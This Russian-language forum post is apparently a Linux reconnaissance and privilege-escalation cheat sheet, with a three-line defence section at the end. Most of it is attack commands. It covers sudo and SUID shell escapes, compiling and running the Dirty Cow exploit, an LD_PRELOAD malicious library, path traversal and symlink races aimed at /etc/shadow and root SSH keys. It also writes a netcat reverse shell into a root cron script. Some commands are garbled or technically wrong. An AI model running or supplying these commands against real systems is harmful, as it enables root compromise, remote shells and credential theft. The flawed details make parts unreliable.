Загрузка...

Разведка и закрепление в Linux | Как защититься?

Тема в разделе Безопасность создана пользователем Grozny_boss 15 апр 2025. (поднята 18 апр 2025) 150 просмотров

Загрузка...
  1. Grozny_boss
    Grozny_boss Автор темы 15 апр 2025 2 29 сен 2023
    Основные методики:

    1. Сбор информации о системе

    А. Общая информация

    Ядро и дистрибутив:
    Код
    uname -a                # Архитектура, версия ядра

    cat /etc/*-release # Название дистрибутива (Debian, CentOS и т.д.)

    lsb_release -a # Альтернатива для Debian-based систем
    Аппаратная часть:
    Код
    lscpu                   # Информация о CPU

    free -h # Оперативная память

    df -h # Дисковое пространство
    Б. Сеть

    Интерфейсы и подключения:
    Код
    ifconfig                # или ip a (список интерфейсов)

    netstat -tuln # Открытые порты (-t: TCP, -u: UDP)

    ss -tuln # Современная замена netstat
    Маршрутизация:
    Код
    route -n                # Таблица маршрутизации

    arp -a # ARP-таблица (соответствие IP-MAC)
    В. Пользователи и процессы

    Текущие пользователи:
    Код
    whoami                  # Ваш текущий пользователь

    who # Кто сейчас в системе

    last # История входов
    Привилегии:
    Код
    sudo -l                 # Какие команды можно запускать через sudo

    cat /etc/sudoers # Настройки sudo (требует root)
    2. Поиск уязвимостей для повышения привилегий

    А. Неправильные настройки Sudo (Sudo Misconfiguration)

    Если пользователь может выполнять команды от имени root без пароля:
    Код
    sudo -l  # Пример вывода:

    # User kali may run the following commands on target:

    # (ALL) NOPASSWD: /usr/bin/vim
    Эксплуатация:
    Код
    sudo vim /etc/shadow  # Редактируем файл с паролями

    # Или получаем shell:

    sudo vim -c ':!/bin/sh'
    Б. Уязвимости ядра (Kernel Exploits)

    Поиск известных эксплоитов для ядра:
    Код
     uname -r                 # Версия ядра

    searchsploit "Linux Kernel 5.4" # Поиск в базе Exploit-DB
    Пример для Dirty Cow (CVE-2016-5195):

    Код
     gcc dirty.c -o dirty -pthread  # Компиляция эксплоита

    ./dirty # Запуск → получаем root!
    В. SUID-биты

    Файлы с SUID выполняются от владельца (часто root).
    Поиск:
    find / -perm -4000 -type f 2>/dev/nul
    Пример эксплуатации для find:

    find / -exec /bin/sh \; # Запуск shell от root

    Г. Уязвимые Cron-задачи

    Проверка задач, которые выполняются от root:
    crontab -l # Задачи текущего пользователя

    ls -la /etc/cron* # Системные задачи

    cat /etc/crontab
    Если найдён скрипт с правами на запись:
    echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f" > /path/to/script.sh

    # После запуска задачи получаем reverse shell от root.

    Д. Подмена библиотек (Missing Libraries)

    Если программа ищет библиотеки в текущей директории:
    ldd /usr/bin/program # Показать зависимости
    Создаём зловредную библиотеку:
    echo 'void _init() { system("/bin/sh"); }' > evil.c

    gcc -shared -o evil.so evil.c -fPIC

    export LD_PRELOAD=./evil.so

    /usr/bin/program # Запуск → shell от владельца программы!

    3. Продвинутые техники

    А. Directory/Path Traversal

    Чтение файлов вне разрешённой директории:
    curl http://site.com/../../etc/passwd
    Пример в веб-приложениях:
    http://vulnsite.com/download?file=../../../etc/shadow

    Б. Race Condition

    Использование гонки процессов. Пример с symlink:
    while true; do ln -sf /etc/passwd /tmp/exploit; ln -sf /root/.ssh/id_rsa /tmp/exploit; done
    Затем запускаем уязвимый скрипт, который читает /tmp/exploit.

    В. Integer Overflow

    Эксплуатация ошибок в арифметике программ (требует навыков C):
    // Пример уязвимого кода

    int main() {

    int size = 2147483647; // MAX_INT

    size += 1; // Переполнение → size = -2147483648

    char *buf = malloc(size); // Выделение отрицательной памяти → крах

    }

    4. Дополнительные методы

    А. Использование nmap

    Поиск уязвимостей автоматически:
    nmap --script=vuln <target>

    Б. Process Injection

    Внедрение кода в работающий процесс через /proc/[pid]/mem:
    ps aux | grep root # Ищем процесс от root

    echo -ne '\x01\x02...' > /proc/[PID]/
    Как защититься?
    - Обновление системы до актуальной версии
    - Убирать лишние SUID-биты (chmod -s /usr/bin/find).
    - Аудит /etc/crontab и sudoers.
     
    15 апр 2025 Изменено
Top